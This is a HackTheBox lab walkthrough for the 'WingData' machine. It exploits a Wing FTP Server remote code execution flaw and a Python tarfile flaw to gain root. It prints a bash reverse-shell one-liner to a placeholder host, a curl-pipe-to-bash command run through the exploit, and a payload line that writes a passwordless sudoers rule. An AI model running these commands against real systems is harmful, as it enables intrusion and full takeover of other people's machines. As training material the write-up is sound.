HackTheBox: WingData

OS: Linux
Difficulty: Easy
Review: 3.7/5

Description:

WingData is an easy-difficulty Linux machine featuring a Wing FTP Server web client exposed on port 80 via an Apache reverse proxy. The instance is running version 7.4.3, which is vulnerable to CVE-2025-47812, allowing unauthenticated remote code execution through the anonymous user account to gain a foothold as wingftp. Enumerating the server's configuration directory reveals salted SHA-256 password hashes. The hash for wacky is successfully cracked, and the recovered credentials are reused for SSH access. Privilege escalation is achieved via a sudo rule allowing wacky to run a Python backup restoration script as root. The script invokes Python's tarfile module, which is vulnerable to CVE-2025-4517, and is leveraged to get a root shell.

Recon:

As everyone can guess, we are starting with RustScan.

rustscan -a $IP -n --ulimit 70000 -t 5000 -- -A -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1fa958bd7560385e445c9c71eba283b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
|   256 9cba211a972f3a6473c14c1dce657a2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open  http    syn-ack Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Right off the bat, we have a host to add to /etc/hosts.

/etc/hosts entry

We can also see that the two open ports align with a web-application-focused box, and as such the likely methods of entry will be:

Underlying software vulnerability leading to shell access.
Application data disclosure leading to SSH access.
A combination of both.

wingdata.htb

The site itself looks to be a file-sharing site, which at face value does not yield much information, so we can start fuzzing.

FFuF:

Fuzzing did not give a surplus of information; however, it did uncover a new vhost.

Based on this find, we can add a new entry to /etc/hosts.

ftp.wingdata.htb

Looking at the main page following the fuzzing, we can go to the client login, which leads us to a login page with some information regarding a software version.

Client login page powered by Wing FTP Server 7.4.3

Initial Access:

Doing some Google-fu on the version of the software does show an unauthenticated RCE.

Downloading and testing this script shows the RCE does work.

python3 52347.py -u http://ftp.wingdata.htb -c id

Now we can use this knowledge to obtain a reverse shell:

Create a shell script and host it on our attack box via updog.

cat rev.sh
/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1"

Curl the file, execute it with bash, and catch the shell via penelope.

python3 52347.py -u http://ftp.wingdata.htb -c 'curl http://x.x.x.x/rev.sh | bash'

Low Level Access:

Using automated enumeration scripts did not lead anywhere; however, one bit of information found during manual enumeration is a list of users present in the FTPS server's data directory, which we can note for later.

We can also see a password hash present in wacky's XML.

Initially I thought this password hash could not be cracked; however, some research shows a default salt, which might be the reason.

The salting is confirmed by checking the settings.xml.

With this in mind, we can attempt to crack this hash by adding the salt and using 1410.

Using the newly salted hash, we get the password in no time.

Wacky Access:

Using the credentials found, we can SSH in as wacky.

Reviewing his permissions shows that he can run sudo passwordless for a specific script.

Looking at the code, one item catching my eye is the extractall.

Privilege Escalation via CVE-2025-4517:

Originally I thought it was CVE-2024-12718; however, this did not work, as the data tag would only alter the timestamp. With further Google-fu, I found the real CVE is CVE-2025-4517.

With some research, I found the following POC:

Before use, we modify line 79 to be the user wacky.

    content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"

From here we can:

Create and run the script.
Alter the file name.
Run our sudo command with our tar file.
Then get a root shell.

📚

The information within this article is intended solely for educational purposes. It is crucial that the techniques and methodologies discussed should only be used for educational and ethical purposes. They should never be leveraged in a manner that could cause unlawful harm or infringe upon the rights, security, or privacy of others. It is essential for anyone engaging with this content to approach it with a mindset of learning and understanding, ensuring that knowledge gained is used responsibly and ethically.